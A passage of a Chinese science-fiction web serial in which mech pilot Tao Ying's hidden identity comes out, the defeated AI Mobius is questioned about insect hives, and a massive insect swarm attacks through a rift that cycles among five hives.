“莉缇，我没在开玩笑，莫比乌斯现在还不能死。” 陶影此言一出，众人皆是倒吸一口凉气，先不说她反驳了莉缇安娜的意见…… “她刚刚叫陛下什么，莉缇？” “不是，虽然陛下确实挺随和的，但是再怎么说这个叫法也太亲近了，而且陛下也没反驳。” “她跟陛下这么熟稔，对付莫比乌斯也驾轻就熟……白颖选手该不会是之前博物馆那场战斗中的神秘人吧？” 众人联想到博物馆之战，越说越觉得有理，网络内十分嘈杂，混乱中突然有人发现了盲点—— “说起来姬元帅刚刚叫她什么？好像叫的不是白颖。” “我听她叫的是陶影。” “什么，陶影？！” “你是说知觉机甲的发明者吗？” “不可能吧，她不是已经死了……” 但众人旋即又想，如果莫比乌斯可以做到意识上传，那陶影是不是也能在死前做到同样的事情？ 白颖选手那丰富到诡异的人脉，对知觉机甲的异常熟悉，极差的体质，以及和体质不相配的超越常人的精神力。 如果说是陶影的意识进入了这个身体…… “姬元帅。”“姬老师！”“亦姐！” 白副官、姬达婳和机特学院的学生同时大喊：“你刚刚叫的究竟是谁的名字？” 姬亦冷哼一声，瞥了陶影一眼，没有直接回答：“我没叫错，自己问她，我懒得解释。” 这，这难道是默认陶影的身份了！ 隔着半个星系，因为帮忙处理莫比乌斯分身，莱门机甲研究所也连上网络。 此刻莱机所内乱成一团，众研究员发疯的声音顺着网络传来。 “老大！” “我叫你一声陶影你敢不敢答应！！” “我就知道，世界上哪里还有第二个像我们老大那样的天才，而且老大才不会写什么日记。” 众同事随即恶狠狠磨牙。 “下地你就死定了，竟然瞒了我们这么久，你之前为什么不告诉我们？” 吼声中，当属车晓理声音最大。 陶影吹了两声口哨，抬头望天：“我一开始就没瞒啊，是你自己没发现。” “你谎话编得那么周全，谁能发现啊？！” “大龙就发现了啊。” “什么？！大龙你怎么发现的？什么时候发现的？” 车晓理揪住大龙的衣领，转身质问。 大龙小声道：“第一次见面的时候，她的代码风格熟悉得让我有点怀疑……星舰落地切斯特星后，她看你望向研究所的表情有点失落，特意去给你买半价咖啡。” “那天她还说‘莱机所不会就这么消失的’安慰你……” “你那么早就看出来了？” 车晓理震惊地后退一步：“只有我，只有我不知道吗？” 陶影趁这个机会关闭了通讯。 一开始本来是想看看车晓理什么时候能发现，没想到她……哎，一如既往，傻的。 至于其他同事，时隔十年，被烧死的所长突然活过来，陶影猜到他们反应会有点大，就暂时拿日记糊弄了过去。 想着以后找机会再说，结果拖着拖着就忘了。 是的，当然是忘了。 绝对不是因为担心挨揍所以故意没说。 但躲过了莱机所的通讯，队友的却躲不过。 共鸣网络里，林别歌一直在“啊？”“啊？”地发出语气词，一句话都说不出来，大脑似乎失去了思考能力。 柏墨则是手捏住腰间恒我的迷你挂件，表情莫名有些羞愤。 “陶影……” “你之前说改不了恒我的权限，是在骗我。” 陶影略过这个话题：“我还以为发现莱机所的大姐姐还活着，你会很开心？你小时候来莱机所玩，还怪黏我的，我送你的挂件现在都还留着，姐姐我十分感动。” “感动？开心？” 柏墨咀嚼这两个词，随后冷笑了声，举起SC-49生息，对准陶影的驾驶舱。 “我现在就让你好好地开心一下。” 所有的喊声中，莫比乌斯一直没有说话，在陶影嘻嘻哈哈闹了一阵后，它才低声说： “你说想要我身上的一点东西？什么东西。” 陶影收了笑声，敲敲耳机，面色正经地点点头。 “我想要虫族的信息。” “你进入过虫巢的意识吧？” 第140章 莫比乌斯还没说话,姬亦眉头率先皱起。 “陶影，你要虫巢的信息做什么？这事跟一般民众没有关系，对付虫族是我们的工作。” 陶影是发明了知觉机甲,也许开机甲的技术还不错，但不代表她有能力上前线。 前线不是机甲比赛,输了之后第二年还能继续参加。 和虫族的战场上，输了就是死。 陶影不甚在意地摊手：“我既然问了,当然是有用,元帅既然在这儿,也一起听听吧。” “说不定之后用得上。” 陶影说得颇有些意味深长。 姬亦看了一眼共鸣网络，发现其他人似乎并没有听到这些,唯独她和白副官同步收到了陶影传来的信息。 为什么独独让他们知道？ “说起来,前几天你也跟我问过虫巢的情况。”姬亦喃喃自语。 当时陶影说： “姬元帅是因为在虫族意识里发现了智能体的存在,所以才来的切斯特星吧，具体说说当时的情况？毕竟因为这个,我差点挨了一枪，这件事上我有知情权。” 知情权个头,这人就是找个理由想刺探前线的情报——姬亦当时想这么说。 但因为莉缇安娜陛下也在场，姬亦这句话没能出口。 根据姬亦的内部消息，近来虫族在第二星系的活动变得更频繁了,甚至隐隐有些躁动，和西尔维娅牺牲前的状况越来越相近，前线的局势已经紧张到了一定的程度。 莉缇安娜陛下也非常清楚这点，所以在陶影问出口后，同样对这件事表现出了兴趣。 在虫族的事情上，星际向来很团结，亚克联邦的确有近一步和帝国合作的打算,这件事也没必要瞒着。 姬亦思索片刻，便和盘托出。 当初，姬亦在第二星系的一颗无名星作战，通过追踪工虫，找到了一只虫母的巢穴，打算捣毁时，却发现那只虫母竟然是S级！ 姬亦看向赛场投影中那只S级别的岩浆巨蠕。 这只巨蠕并没有完全显示，因为投影设备的损坏，巨蠕就跟游戏里模型加载出现了问题一样，粗壮的身体从中间直接缺失了好几截。 但依旧很有压迫感。 而姬亦在前线遇到的S级虫母，比这更甚。 陶影：“前线遇到S级虫母应该撤退，最优先的是向虫族防灾应对署传递信息，经过各方商讨，疏散民众之后再做计划。” 姬亦：“你说得没错，我们原本是打算撤退。但那只虫母的位置实在距离人类生活的星球太近，来不及了，如果不及时解决，会出现大问题。” “来不及了？” 姬亦点头：“我在那只虫母的身体里发现了瘿虫的虫卵，它当时已经有了孵化的迹象。” 莉缇安娜猛拍扶手，站了起来。 “你说什么？瘿虫？！” 瘿虫孵化后，三天之内就可以蚕食整个星球，一旦没有及时清除，放任它繁殖，就是另一场灾难的开始。 也难怪莉缇安娜这么激动。 陶影听了都有些意外。 她记得姬亦说的这场战斗，那是她以深网“Shadow”的身份，第一次接触姬亦。 在这场战斗中，第一〇二九军团受到了极大的打击，成员的机甲都被损毁，姬亦背水一战，到了最后，机甲近乎不能移动。 最后抱着死马当活马医的态度，联络了陶影，试图用残存的零件最后一搏。 总之陶影帮忙将机甲调试到了很极限的模式……机甲算是又能动了。 具体的战况陶影不太清楚，只听见战况很惨烈，她当时很忙，收到佣金就下线了。 当时还奇怪什么雇佣兵会打得这么惨，后来才知道是联邦的姬元帅。 陶影若有所思地点点头：“难怪，如果那只虫母被瘿虫寄生，你打得那么惨也说得通了。” 莉缇安娜身体微倾，朝陶影道：“你知道这件事？” 莱机所的所长的确是不应该知道这种前线的事。 也不可能当帝国陛下的面说，她私底下挣钱挣到了联邦元帅头上吧。 陶影于是面不改色心不跳地扯谎。 “偶然听说，具体的不知道。” 莉缇安娜显然不太相信她的解释，但姬亦接下来说的话，彻底打断了莉缇安娜的思路，让她没心情继续追问莱机所所长的副业。 姬亦摇摇头，似乎陷入了那场战斗的回忆。 “我遇到的不是普通的瘿虫，它可以精神攻击。任谁来都赢不了。我能从它手里捡下一条命就是运气好了。” “什么？瘿虫没有这个习性吧。” “瘿虫的确没有，但当时它的虫卵寄生在可以进行精神攻击的虫母身上。” 陶影：“可以精神攻击的虫族已经很久没发现了……唯一存留下来的，只有一个古老的分支，蚀心虫。” 姬亦：“你还知道这个？” 陶影脸皮颇厚地说：“我这人博学，知道得多也很正常。” 姬亦：“……” 蚀心虫说是虫族，但活动性并不强，属于比较和平的种族。 它体型巨大，幼年体身长就有数米，成年体更是可以达到几百米，身体会随着附近环境的颜色变化，常常伪装成岩石或是植物，隐藏性较强。 也有些喜欢把自己埋在土里，用足部牢牢地抓住土地，一辈子也不见得移动一步。 它的足部像树木的根，习性上更像是植物。 甚至能扛十级大风。 曾经还有人想过能不能利用蚀心虫用来改良地质环境，但被虫族防灾应对署坚定地驳回了。 “就算再没有攻击性，那毕竟是虫族啊，你们在想什么！” “蚀心虫不会主动攻击人类，长期处于半休眠的状态，瘿虫的寄生让它具有了主动攻击性。” “但它似乎对瘿虫的寄生非常厌恶。” 陶影歪头：“如果你遇到的是S级的蚀心虫虫母，我猜因为蚀心虫精神攻击的特性，它并没有被寄生的瘿虫完全控制。” “是的，那一只蚀心虫的意识和瘿虫拮抗，有时甚至会出现攻击自己的情况。如果不是因为这个，我很找到赢它们的机会。” “而在它们的精神力波动中，你发现了电子智能体的部分意识。” “嗯。” 姬亦点了点头，算是肯定了陶影的猜测。 思绪回到现在。 陶影还在等待莫比乌斯的回答。 “以瘿虫的繁殖力，一旦发现一只，就代表还有千千万万只藏在暗处。” 虽然当年姬亦将那颗星球处理了，但陶影认为恐怕无法真正干净，就拿最近的一件事来说—— 她在拂瓦星的深海发现了瘿虫的踪迹。 毫无疑问，地下有一个隐秘的瘿虫网络正在扩散。 “莫比乌斯，我需要所有瘿虫的位置，你不回答，我就只能读取你的意识了。” 而莫比乌斯不是很想回答。 它似乎很累了，身体蜷缩成一团。希拉辛的埋骨地很安静，也没有其他人。 莫比乌斯有种想要长眠的感觉。 “我的计划已经失败，既然你选择了那条痛苦的路，那我也不想管了，你们没有迎来新世界的机会。我累了，人类的未来与我无关。” “我不回答你。” 被打败的大哲学家听上去有点破防。 陶影挑眉：“我把你关在那里，可不是为了让你休息的。” 既然不起来，那就强制让它起来。 陶影伸手打了个响指。 莫比乌斯的身体一阵悬浮，它仰头，不知道什么时候，已经来到洞窟顶部的星舰。 从底部俯视的时候，星舰便巨大，而当靠近，它更是压迫感极强，覆盖了莫比乌斯所有的视线。 莫比乌斯这时发现，星舰的底部有一个模糊的符号，还写着数字。 “这艘星舰是根据M854号做的，数据来自莱门遗迹博物馆。” “硬要说，算是你诞生的地方。” “不进去看看？” 莫比乌斯果然上钩。 它一副怀念的表情，连带着眼下常有的疲惫和空虚感都消失了不少。它的身体进入星舰，一路穿过客舱。一道道门逐渐打开，最后到达驾驶舱的位置。 陶影之前进入隐藏副本，一直在下面待着，并没有进入过星舰——倒是她的几位队友来过。 所以她现在才正式地看清M854号的驾驶舱。 是非常质朴的设计，充满了古代科技的时代痕迹，几百个方型按钮在操作台上浮起，闪烁着夜光。 眼前是模拟的宇宙，可视角度极大。 甚至驾驶室正中心还有古朴的金属方向盘。因为使用太多，已经磨损得到处都是缺口，被人用衣服随意裹了两圈，用起来勉强不割手。 莫比乌斯轻轻抚摸着方向盘，尝试性地转动了几下，吱呀的锈蚀声后，它转动了。 数据面板上的画面也随之变换。 “你做的？” “火种的团队做的。” “确实和我诞生的地方很像。” 莫比乌斯说到一半，仿佛突然想起什么，脚步迅速地离开驾驶席，走到一边。 它熟练地打开驾驶座旁边的抽屉，从无数的文件中，准确抽出一本航行日志，翻开后，里面密密麻麻都是记录。 其实也没什么特别的，航行日志它都会背了。 但当翻到最后一页，莫比乌斯的表情突然僵硬了，它沉默片刻，抬头道： “你……” “我怎么了？” “你打感情牌？” “对着你吗？” 莫比乌斯小声呢喃：“我比你懂感情好吧……” 姬亦在旁边观看了全程，对他们之间的对话感到莫名其妙。 什么乱七八糟的？ 说起来博物馆之战的时候姬亦就发现，莫比乌斯不知道为什么，一直对陶影有种奇妙的执着。 现在听这话，什么打感情牌的…… 他们俩之前难不成认识？ 可一直以来，莫比乌斯都抹去了它在人类历史中的踪迹，是直到前段时间发起攻击的时候，才被陶影挖出来。 当时陶影和莫比乌斯似乎是纯粹的敌人。 他们什么时候认识的？ 航行日志的最后一页究竟写了什么，为什么莫比乌斯态度突然变化？ 姬亦思考间，莫比乌斯似乎也有了答案。 虽然陶影的算计一点没藏，完全摆在明面上了，但莫比乌斯似乎还真的挺吃这套，它抱着航行日志不撒手，坐在驾驶座上，平静地望着前方的黑暗，开始沉稳地叙述。 “太迟了，它们已经来了。” “就算是你也无法阻止。” 莫比乌斯的确回答了问题，只是这次并不是陶影想要的答案。 或者说，虫族的问题比她预想的更糟糕，更严重。 来得也更快。 莫比乌斯话音刚落，陶影立刻察觉到什么，猛然转头。 共鸣网络突然产生了剧烈的精神力波动，赛场内传来惊恐的叫喊声。 西尔维娅收起嘴角的笑容，压了压帽檐。 “哦，这下糟糕了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 140-150 第141章 赛场的边缘。 刚才的惨叫声来自角落的机甲小队——再来亿口辣条队。 再来亿口辣条队的机甲型号偏旧,无法共鸣，正好队伍的位置又十分地偏，附近只有他们一个队伍,所以从头到尾都不清楚陶影做了什么。 别说是莫比乌斯，甚至完全没注意到赛场上的情况,直到五分钟前，还在专心致志地打比赛。 区域内十几只巨镰正在缓慢爬动,辣条队长抬手轰掉一只正在飞行的巨镰。 四人勤勤恳恳地打着。 头上积分不停+3。 不知道什么时候开始,他们发现手中的武器变钝了。 “大概是我们挥舞武器太久累了？” 四人一开始并没有在意,但逐渐的，武器带给他们的异样感已经无法忽略。 “比赛方的系统连杀死虫族后黏黏的手感也能模拟吗,这个虫族汁液横流的,砍起来有点恶心。” “手里的刀越来越重了……话说虫族怎么不刷新了？我去那边看看。” 队员说着,前往小行星的背阴处。但离开后，迟迟没有回来,信号也断断续续的，听不见他说话。 队长于是喊了两声：“五香？五香你人呢？” 被称作“五香”的队员许久没有回音,另一名队友放心不下，前去察看他的情况。 同样消失无影。 剩下的两位队友终于发现不对，一起前往队友离开的方向前进,但在移动了十米后，他们突然听见队频里传来“咔嚓”“咔嚓”的碎裂声。 咔嚓声是从队友的机甲传来的。 队长感受到一种本能性的恐惧，瞬间被定在原处，他耳朵竖起，仔细听着这怪诞的声音。 声音森冷又沉闷，在孤寂的深空中，莫名有些阴森恐怖。发声体——也就是队友的机甲,仿佛被包裹在巨大的腔体内，窸窸窣窣。 咯吱，咯吱。 金属被什么尖利的东西刺穿，然后无情地磨碎，摩擦。 空洞的腔体内传来回音。 赛场的边缘，选手只有他们四个，还有什么东西能发出这种声音？ “五香，你不要闹了，这玩笑不好笑。” 鸦默雀静。 队长额头滴下冷汗。 金属断裂起来砰砰不断，听上去很像合金装甲板被轧断时的响声。 但也像是生物咬碎了机甲坚硬的脊骨，在咀嚼，将能量液汩汩吞下的声音。 没错，是生物进食的声音。 那是绝不应该在这里出现的生物。 队频隐约传来队友急促的呼吸声，他语无伦次地说：“虫，虫……” “五香，你没事吧？坚持住，我叫救援！” 队长头皮发麻，手速飞快，紧急联络赛方，但太过紧张，手滑好几次都数错了联络码，总算输对一次，他松了口气，再次询问五香的情况。 这次五香回答了，但两台机甲的画面骤然连接，队员扭曲的脸极具冲击性地打来。 惨叫声近乎撕碎耳 膜。 “救救我，救救我，不要，我不想死——啊——！” 尖叫声被瞬间拉断。 队长能看见，那台机甲的内部被压扁。 五香躲在角落的缝隙里，一动也不敢动，面色惊恐。 这时攻击似乎停下了，五香两手撑地，跪在地上，缓慢地向缝隙外爬动，想要找到紧急弹射按钮。 但很快，不明生物发起了猛烈的撞击。 机甲的舱门裂开了。 五香被一股无可抵挡的吸力从驾驶舱拉扯出去，他的身体瞬间因为压强差，像血包一样爆开。 随后驾驶舱舱门处，出现一副巨大的、非人的身躯。 生物拥有八只乌黑的眼睛。 它没有眼白，就像是八颗黑色不透明的圆珠，镶嵌在纯黑色的外壳上。 头胸部、腹部、黑色的外壳，八条蛛足…… 那只形似蜘蛛的巨大生物，探出两只爪子一般的触肢，在五香的身体上碰了碰。 随后螯肢紧紧抓住五香的腹部，向他体内注入毒液，开始用口器吸入食物。 片刻后，一片碎裂的机甲，沾满了湿漉漉的红色血液和残存的人体组织，从那颗小行星后，缓缓飘到队长的面前。 队长僵直片刻，只觉得脑子里一片空白，肾上腺素飙升。 人在极度恐惧的时候，无法发出声音。 求生欲让他操纵着机甲飞速后退，迅速在公频摇人。 这不是虚拟的投影，是货真价实的虫族！ “救命，这里有虫族！” “虫族入侵了——” 精神力网络被剧烈地击打，无数冲击拧成一股洪流，同时以雷霆之势朝处于核心的恒我冲来。 这股精神力太过强大。 攻击强度不亚于当头一棒。 陶影猝不及防，挨了个结结实实。 一阵钻心的抽痛在大脑中蔓延，陶影指尖颤抖着抽动两下，只觉得在剧烈的疼痛下，精神力似乎和身体产生了瞬间的剥离。 【警告，警告，网络波动。】 【多人共鸣网络，超过五十名队友已强制下线。】 【当前在线人数255——208——103——】 触手怪的身体水纹一般波动着，西尔维娅的声音从脑中传来。 “悠着点，别死了。” 陶影作为多人共鸣的核心，接收了过多数据，瞬时压力报表，颤抖的右手迅速加强了精神力屏障，这才没当场就义。 队友关切的声音从队频中传来。 “小影你没事吧？” 陶影按着头，咬咬牙坐起身：“没事，你精神力情况怎么样，刚刚的攻击我没来得及全封锁住。” 有部分她没来得及处理的数据泄漏过去了，虽然已经削弱过很大一部分，对反应迟钝的林别歌来说没什么问题，但南卦对精神力攻击的敏感度极高，恐怕会受到一定的影响。 “我还行，撑得住。” 南卦声音明显在逞强，陶影叮嘱，让她暂时呆在安全区休息一会儿，随后回头望向赛场。 或者，现在应该称之为战场。 深邃的宇宙中，成群的蛛足已经往这边席卷而来。 无数乌黑的眼珠冷静而阴森地盯着这侧，在小行星上密密麻麻地爬动着。 外壳反射着警报的光线，绚烂而危险的光华铺满整片赛场。 经过扫描，保守估计，附近的虫族一共有六百只上下。 A级一百余只，B级两百余只，C级以下更是不说了，而且数目还在以让人难以理解的速度增加着。 这是近年来最大规模的一次虫袭！ 可是这些虫族是哪里来的？刚才比赛中，精神力网络没有察觉到这些虫族的存在，附近的星球也没有传来任何虫灾预警。 它们就像是凭空撕裂了空间出现在这里。 姬亦元帅、白副官，还有两台不知名机甲，正在前方对战，一时间汁液横飞。 看林别歌想上前帮忙，姬亦一脚将她踢了回去。 “打不过上来也是送死，少帮倒忙。” “八足蛛数量多，但视觉不怎么发达，保持原地不动，不那么容易被盯上。不想死就都别动！” “姬老师。”“元帅！” “陶影，援军怎么样了！” 姬亦驾驶机甲，将一只八足蛛从中线劈开，在前方吼着。 在前方四台机甲的掩护下，其他选手被保护着，除了一开始的辣条队，暂时没有人员伤亡。 四人都是上过前线的人，刀光剑影下，暂且控制住了局势。 但因为虫族的数目太多，四个人坚持不了多久，战线在逐渐后撤。 南卦休息一阵，开始负责协调，而柏墨的子弹补充完，也通过狙击支援，林别歌虽说被老师一脚踢开，但还是锲而不舍地在边缘帮手。 大家都在自己的能力范围内做到最大的帮忙。 陶影恢复了片刻，重新连接到莱门监测中心。 “莉缇，援军还有多久到？” “很快，已经在路上……糟了！”莉缇安娜声音骤然提高，面色也有些不对。 陶影：“怎么了？” “援军在附近坐标点遭遇了虫族。” 众人齐声道：“什么？！” 从切斯特星到第十三信标裂隙，这之间的星域经过严格管控，附近都有雷瓦尔帝国和亚克联邦的军队驻扎，兵力毫无疑问是全星际最足，也是最强的。 虫族能大量出现在那里，也就是说，第二星系前线的三条防线都被突破了吗，怎么可能？ “收到前线的报告了吗？” “切斯特星同时遭到了拟态虫族的袭击！第二星系也在向我们请求援兵……第三星系，第四……” “共二百四十个坐标点同时遇袭，数量还在增加！” 莉缇安娜心中剧震，面色苍白到了极点。她手扶着椅子，缓缓坐下：“当前预估的虫族数量……达到了百万级。” 所有听到消息的人都几乎忘记了呼吸。 应纱夜皱眉：“怎么会有这么多虫族，究竟从哪里来的？” 莉缇安娜缓缓摇头，好不容易平稳了呼吸。 “我也不知道，哪怕西尔维娅的时代，也从来没有这种规模的袭击。” 西尔维娅？ 陶影侧头看了看。 戴着军帽的女鬼正趴在操作台上，饶有兴味地看着前方战斗的机甲。 而她的视线落到一个方向。 陶影瞳孔缩了缩。 她喃喃道：“……我可能有点头绪了。” 她在莱门监测中心众人的追问中，缓慢操纵着机甲，避开八足蛛，向刚刚辣条小队的位置前进。 只见那颗小行星的背面，骤然出现了一道裂缝。 是宇宙裂隙。 这个位置，产生了一道全新的宇宙裂隙，比宇宙更为黑暗，仿佛能吸入所有光线的地方，虫族从内部源源不断地涌出。 裂隙的那头，好像是它们的巢穴。 “这……” 莫比乌斯摇摇头：“早就说过，我选择的办法是最好的，人类无法赢得这场斗争……” “文明注定覆灭。” 陶影：“闭嘴吧，现在没空听你说话。” “你想做什么？” “当然是想办法暂时堵住裂隙了。” 姬亦有股不详的预感，回头一看：“陶影，你在干嘛？你疯了！” 陶影手在空中一挥，远处的星舰突然发出沉沉的轰鸣，随后舷侧的炮门打开，露出黑洞洞的炮口。 顶部的大型舰载炮也缓慢伸出。 【主炮充能中。】 【充能完成。】 【三、二、一，准备发射。】 “各方人员，注意躲避！” 精神力网络的通知几乎是瞬间到达，所有的机甲在短暂的时间内，被陶影的精神力影响，全部下意识避开了炮弹的轨道。 炮口积蓄着白金色的能量，在亮度达到最高点的时候，左舷弹幕和主炮同时发射。 炮口锁定同一个方向，也就是裂隙的位置—— 硕大的炮弹在裂穿无数只虫族后，进入了裂隙。 但——什么也没 有发生，炮弹没有炸开，也没有哑火，炮弹进入裂隙后，就像被宏大的海洋吞没一般，沉入海底，毫无水花。 而裂隙中的虫族短暂停止了十分钟，再次发起攻击。 第142章 突如其来的攻击打乱了虫族的阵型,战斗暂时停止，己方总算有了点喘息的空间，伤员得以被运送到星舰进行紧急处理。 但好景不长。 很快虫族又聚集起来,一团一团。 它们触角微碰，如同拥挤的蜂群,通过隐秘的网络传达着人类所不能理解的信息。 只停滞了片刻，虫群再度来袭。 而陶影依旧站在后方,不停操作星舰的舰载炮,继续打乱敌方阵型。 一炮下去,十几只虫体被穿透。 大量淡黄色的虫液飞溅，哪怕隔着机甲,似乎都能闻到那股潮湿的腥气。 姬亦瞠目结舌：“你控制了星舰的舰载防御系统……” 陶影目不转睛地盯着屏幕。 “这种紧急时刻,不会还要追我责吧？” “不。”姬亦微不可察地摇了摇头,“我不是说这个。” 姬亦一开始觉得，陶影操纵星舰主炮完全是在胡闹,这种情况如果乱来，反而会让战局变得更复杂。 所以姬亦开口阻止,打算让白副官去帮忙操作，但没想到陶影的炮弹还真起了作用。 战线后撤的速度得到减缓，竟然隐隐支撑住。 姬亦小声道：“她以前干过炮兵？” 白副官摇摇头：“没查到这个。” 范东：“我不太懂,但你们不是说她技术特别厉害吗，应该是通过系统计算吧？” 以她的水平，倒也有可能。姬亦没再纠结这个问题，现在不是想这些的时候：“陶影……” 陶影：“嗯，前方信息已经梳理好共享过去了。” “顺便提醒一句，你们都在共鸣网络里，说话我听得见。” 众人：“……” 有没有一点隐私了。 陶影刚刚收到联络,切斯特星另一侧也出现了裂隙，雷瓦尔帝国的兵力大半都去那里了，派到他们这里的精英小队在途中失去了联系，目前行踪不明。 “虫族多年以来都只出没在第二星系，雷瓦尔帝国在虫族相关的防卫上有所缺失，再加上这次袭击太过突然，首都星恐怕自顾不暇，兵力很难到达我们这里。” 陶影突然想到，《火种》开场，机甲基地被袭击也是兵力不足，也是赶鸭子上架。 那颗星球还是以切斯特星为原型。 明明是火种工作室的人喝着酒随便想的，没想到在这种倒霉的地方竟然预言中了，陶影忍不住露出一个命苦的笑容。 一百余只A级虫族，在场却只有姬亦在内的四个人有战斗经验。 她们太空女鬼队要是上去确实和送死没什么区别。 再加上陶影体力有限，硬碰硬对她来说不是个好主意。 陶影于是跟在队友身后，撤至星舰附近的安全区，充当一个高频信息转达中心的作用。 【当前在线人数，122。】 【机师精神力处于疲劳状态。】 屏幕上弹出西尔维娅的大头：“你最好别再继续增加在线人数了，精神力损伤是不可逆的。” 陶影看着屏幕正中心那顶跳动的军帽，面露诧异，转头才发现身边的触手怪已经不见踪影，看样子它重新进入了恒我的系统，进行辅助驾驶。 难怪刚刚精神力突然轻松了点，原来是触手怪帮她分担了。 陶影嗯了声：“我也不想，但好像没得选。” 她们现在的位置正在切斯特星和第二星系航道附近，一旦这里被突破，切斯特星被前后包夹，沦陷就是分分钟的事。 切斯特星作为雷瓦尔帝国的首都星，也是第一星系的核心星球。 如果它都抵挡不住虫族的攻击，周围的星球更不用说。 还真跟莫比乌斯说的一样。 到那个地步，离人类文明覆灭确实不远了。 陶影翘起腿。 “世界末日真是说来就来。” “救不救？” “你说呢？” 倒不是陶影想拯救世界，只是她的家还在莱门市，怎么能把辛辛苦苦挣来的房产拱手让给虫族当巢穴。 陶影坚决不同意。 “已经发送全域求援，唯一应答的只有亚克联邦，我们必须坚持到他们的支援到达。” “收到！” 姬亦简洁道：“编号，大概需要多久？” “第〇五七及一六五机动军团，两个小时。” “两个小时。” 姬亦顿了顿，这个时间，都够虫族把全员的尸体消化了，几乎不可能撑下来。 只能走一步算一步了。 …… 陶影群发完消息，高强度工作的神经紧绷着，额角不住抽动，她使劲摁了摁太阳穴，随后坐起身，继续仔细观察战场的情况，想着也许能发现什么新的信息，对作战有帮助。 还真让她发现了。 有一些虫族受到炮弹的袭击，翅膀或是身上有火药的痕迹，但擦痕轨迹奇怪，不像是炮弹直接造成的伤口，倒像是二次波及。 “嗯？”陶影揉揉眉心。 怎么感觉时间不太对。 她刚才明明头痛，很长一段时间没有操作星舰的主炮。这一波虫族如果是之前被攻击，按照它们的移动速度，应该早就来到她们身边才对，怎么刚刚才从裂隙中出现。 陶影眼神眨了眨，放大画面端详。 等看清虫族身上的痕迹，陶影思索片刻，脑中有了猜想，她决定测试一下。她操作星舰炮口缓缓转动方向。 “砰——” 炮弹准确地击中了裂隙。 陶影趴在操作台上。一边咬牙，一边从前方机甲的视觉模块读取信息。 西尔维娅：“不是都说了先休息？竟然还在做这么高强度的工作。” “这 件事很重要，我确认完再休息。” 陶影神色少见地正经。 三十分钟后，虫族再次从裂隙中出现时，身上都带着被炮弹击中或是擦伤的痕迹，还有些缺乏了足、触角等身体部位。 都是炮弹造成的。 果然如她所料。 接连操作数次后，陶影敲了姬达婳做最后确认。 “大花学姐，你朝裂隙射十发子弹，要云针的。” “啊？”姬达婳数了数，剩余的子弹数目已经不多了，随随便便浪费可不行，必须要用在刀刃上，她谨慎道，“你想干什么？” 陶影似乎在看着其它地方，嘴里念着：“又要切换一轮了……” “啊？” “来不及了，总之你先做了再说。” “我为什么……” 姬达婳话说到一半又咽了回去，想起姬亦姐刚刚说“照陶影的话做”，又想起陶影虽然举止离谱，但从来没有无谓的行动，姬达婳迟疑了，但没有迟疑太久。 她点点头，将枪抵在肩上。 “我再信你一次。” “谢谢，大花学姐。” 姬达婳冷哼一声：“谁是你学姐，莱机所所长就别装学妹了。” 她话刚一落地，白色锥形子弹跨越整个战场，迅速向目标点射去。 因为不是炮弹，所以并没有产生太大影响，裂隙的虫族依旧在往外涌出。陶影操作直播镜头，拍下接下来出现的虫族。 有几只特定的虫族，动作歪歪扭扭，似乎刚刚受到攻击。 “一、二、三……” 陶影数着数。 很快，数字停止在了三。 虫族身上残留的云针，断在甲壳外，正好三颗。 云针的子弹很特殊，当作标记弹使用非常显眼。 可以确定这些虫族是刚刚被击中的。 但也仅发现了这三颗，其余的七颗子弹不知所踪。 陶影确认了一下标记的情况，转而联系了共鸣网络内的其它狙击手。 “柏墨，这次换你，八分钟后，向裂隙射击十颗子弹，每颗之间间隔一分钟，我开始计时。” “姬元帅，十分钟后。” “翟飞舟，十分钟后……” 陶影接连又给了几次指令，中途还间接着星舰的炮弹。 被她叫到名字的狙击手都面露不解，但只能照做。 而间隔四十分钟，最后一次发出子弹后，什么也没有发生。 陶影掐表看着时间。 “……” 不知道是不是因为太过密集的攻击，这次虫族竟然停止了双倍的时间，才再次从裂隙中出现。 见陶影再次下指令射击，范东有些看不下去了。 “裂隙的那头，多半直接连接着一个大型虫巢，看标记的情况，炮弹在那边炸开，所以造成了这样的伤痕吧，有什么好确认的。” “小婳，你不用听她的。不要再继续浪费子弹了，留着之后有用。” “这不是浪费子弹。” 陶影笑了笑，手指在操作台上有规律地敲动，一二三，十下。 最后一下敲动时，镜头中出现了被标记的虫族。 那是一只C级疾蜻，腹部的位置有一根白色的短针。 范东有些奇怪，云针的子弹？上一颗子弹射出已经是四十分钟之前的事情了，这只虫族怎么会现在才出现。 之前的虫族被击中后，就直接从裂隙出来了。 但范东又想，也许是这只虫在到达裂隙前停止了移动，在里面磨蹭了一阵？ 陶影摇摇头：“再看看。” 而再过去十分钟，又出现了一只C级的巨镰，它的身上明显有柏墨的子弹标记。 再十分钟，是姬亦的子弹，八足蛛。 每次都是间隔十分钟，出现了全新的标记。 范东顿了顿。 “……” “这，难道……” “看来你也发现了。” 陶影将之前的数据打包传了过去。 “没错，裂隙似乎不只联系着一个空间，它每隔十分钟变化一次，每次都连到了不同的虫巢。” “一共有五个巢穴，刚刚正好循环完一圈。” “所以刚刚间隔时间很长的那次，是因为其中某个虫巢，被星舰的炮弹击中，所以损毁了吗？” “嗯。” 之前因为太过慌乱，而且虫族涌出的数量和种类实在太多，他们并没有发现这个规律。 现在的话，也许能用上。 陶影迅速分析了不同波次的虫族分布特点，和四人商量，设置了不同的战术。 战斗逐渐顺畅，而就在大家都认为，说不定真的能撑到支援，心中涌起希望的时候，裂隙中骤然出现了一只虫母。 八足蛛，S级虫母。 它的头部、腹部奇妙地鼓胀着，里面似乎有什么东西在蠕动。 某个瞬间，那个东西钻破八足蛛坚硬的外壳，露出一个头。 长条形的虫体，没有肌肉，并不能很好的站立，它像是像是人肠子中的绦虫一样，不断流出。 越来越长，越来越长。 众人呆滞片刻后，大喊道：“瘿虫！” “怎么会有瘿虫，它不是灭绝了吗？” “它身后那块凸起不会是卵鞘吧？” 星际虫族防灾指南的第一页写着两句话。 第一句，如果见到S级虫母，即刻逃走。第二句，如果见到瘿虫，不论什么形态，即刻上报虫灾署。 那么如果同时遇到两个呢？ 大家很快就知道答案了。 被瘿虫寄生的八足蛛，八颗眼睛由黑变红，变得异常狂躁，不断破坏着周围的一切，而它所带领的整个虫群，似乎也受到影响，攻击力大幅上升。 在发觉众人存在的瞬间，迅速朝这侧进攻。 众人瞬间脸色煞白，眼中是满溢的绝望。 而与此同时，陶影收到一条信息。 不是来自莱门监测中心，也不是共鸣网络中的任何一个人。 第143章 消息不是来自仅在咫尺的队友,也不是来自远在切斯特星的朋友，那是来自哪里呢。 